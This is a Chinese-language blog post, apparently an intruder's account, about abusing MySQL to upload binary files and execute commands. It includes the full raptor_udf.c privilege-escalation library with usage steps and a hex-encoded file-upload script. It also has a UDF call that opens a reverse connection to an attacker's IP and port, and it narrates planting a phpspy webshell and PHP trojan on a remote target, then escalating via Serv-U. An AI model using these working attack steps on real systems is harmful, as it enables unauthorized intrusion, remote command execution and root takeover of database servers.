1. 程式人生 > >利用mysql上傳和執行檔案

利用mysql上傳和執行檔案

        本來一直以為利用mysql就只能匯出webshell,但是前一段時間無意中發現了一篇文章《Windows下通過MySQL以SYSTEM身份執行系統命令》,於是再繼續搜尋了一下相關的文章。

       其中上傳檔案是利用了mysql命令“SELECT * FROM mix INTO DUMPFILE 'c://abc.dll';”(以前導文字我都只是用select * from tablename into outfile 'c://abc.txt'),想不到可以匯出二進位制檔案。

       至於執行命令,是利用了mysql的自定義過程來實現的。查了下,一個簡單符合mysql的dll是如下格式的:

[code]

/*
 * $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <[email protected]>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
 *
 * Code ripped from:

http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can be
 * expanded by means of custom written dynamic libraries containing User
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> /! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
 unsigned int  arg_count; // number of arguments
 enum Item_result *arg_type; // pointer to item_result
 char    **args;  // pointer to arguments
 unsigned long  *lengths; // length of string args
 char   *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
 char   maybe_null; // 1 if func can return NULL
 unsigned int  decimals; // for real functions
 unsigned long   max_length; // for string functions
 char   *ptr;  // free ptr for func data
 char   const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
 if (args->arg_count != 1)
  return(0);

 system(args->args[0]);

 return(0);
}
[/code]

呵呵,好簡單,(在VC下編譯,好像是cl /LD abc.c,對VC我不熟悉,沒辦法)

 不過,按照網上說法,是要轉到mysql表中建立二進位制表格和匯出才可以成功,在test下可能不成功。

但是我幾次匯出都不成功,甚至是把二進位制檔案匯出來都會有錯,(其中部分會出亂碼)。

因為我一開始時犯了點錯誤,我用mysql客戶端,進入mysql命令提示行下後,貼上dll檔案,但是總是會貼上不了那麼,所以導致檔案不齊全。這個問題困擾了我好長時間,因為在即使修改windows的console視窗的緩衝區大小也是不行,後來甚至想到使用fterm通過linux下的mysql客戶端進行,結果也是失敗。最終才發現自己是多麼的愚笨,其實mysql是有匯入mysql命令的功能的,也就是可以使用mysql -u root -h hostname -p < script.txt,把這些程式碼匯入去的,也就不存在程式碼過長無法貼上的問題。第二個遇到的問題,是即使匯入的資料正確,但匯出的二進位制資料的最前端會無故多出半個位元組(8Bit)的0,也就是假如是使用<php這樣的挖出,ascii碼本來是"0x3C3F7068",但是匯出後一看,居然變成了0x03C3F7068,也就是真個檔案全變了!暈倒,怎麼別人沒有遇到這樣的情況呢!因為我對匯出dll檔案再提權信心不大,所以就想先匯出個webshell再說,因為webshell是文字來的,假如是多了一個空格等也不會出錯,所以我就在phpspy的最前面加了個空格,這樣二進位制就變成了0x203CF7068,結果匯出後一切正常,真是怪異極了,不過,起碼可以用了。(但是匯出成dll檔案就有問題了--總不成在dll前出也加個空格吧)
 第三個問題:我在本地測試,把下回來的mix.dll放在mysql可以訪問的目錄下,然後"create function myconnect returns integer soname 'c://mix.dll';,結果返回說no paths allow for the share libraly,(大意如此,具體字元忘記了),上網一查,結果又找到另一個具說的漏洞,說是mysql中在載入自定義函式dll時,會檢查是否存在“/”,如果存在則不讓載入,漏洞的表述意思是可以往mysql.func中直接插入自定義函式的路徑和函式名,然後強迫mysql重啟,重啟後的mysql將不會檢查mysql.func中的路徑,只可惜我在本地測試還是沒有成功。重啟後再使用自定義函式,還是提示函式沒有定義,可能是我使用的mysql版本已經沒有這個漏洞了,不過,反正我在本地測試自定義函式的提權是失敗了。不過,總算還好,使用匯出二進位制程式碼的方法可以在遠端得到一個phpspy的webshell。

      歸納上傳辦法如下:(雖然我直接匯出不有錯誤)

     一、新建檔案script.txt,內容如下

            use mysql;
            DROP TABLE IF EXISTS mix;
            create table mix(data LONGBLOB);
           set @a=                                 //這裡先空開,等下貼上內容過來
           INSERT into mix values (CONVERT(@a,CHAR));
           SELECT * FROM mix INTO DUMPFILE '遠方主機目錄和檔名,注意用/轉義路徑;
           drop table mix;

    二、  使用winhex開啟要上傳的檔案,然後copy all -> hex value,貼上到剛才那個set @a=後面,這樣就變成了定義一個變數@a,值就是那個檔案的值了。

    三、在myql客戶端執行 mysql -u root -h 遠端主機 -p <script.txt,在隨後輸入root密碼,就可以在遠端主機成功的上傳了一個檔案。

   一、先用上面的辦法匯出一個mix.dll(mix.dll自己找)

  二、CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C://Mix.dll';/*注意修改檔案地址
          select Mixconnect('127.0.0.1','886');/*注意修改反連回來的IP地址和埠號

   ps:本來上傳webshell是不需要用到這麼麻煩的,但是剛好測試的目標主機web user沒有什麼許可權,上傳檔案等程式碼都不成功,雖然匯出了一句話木馬,但是居然不能執行,它原本的php上傳檔案功能也不行(估計是主機的許可權發生了變化後管理員沒有設定好,導致上傳到臨時目錄後沒有許可權把檔案寫回web目錄。直接導其它一點稍微大點的木馬時,似乎是一碰到中文或單引號或"/"之類的轉義符就會出錯,導致匯出的木馬不能被執行。 好不容易匯出一個servU的本地提權php檔案,似乎可以執行,但是最終沒有效果。(後來估計可能還是哪裡匯出時被改變了)。最終只好用這個方法來導phpspy2006了--(呵呵,正好前段時間發覺asp和php木馬免殺其實是件非常容易的事),匯出webshell後,發現web目錄下web user是沒有寫許可權,不過servU提權卻非常順利的成功了。終於搞掂,學到了點關於mysql入侵的知識。不過始終想不能當初匯出的<?php system($cmd); ?>這樣的程式碼為什麼只能dir c:,一到dir c:/inetpub之類的都不行,但實際上是有許可權讀取的。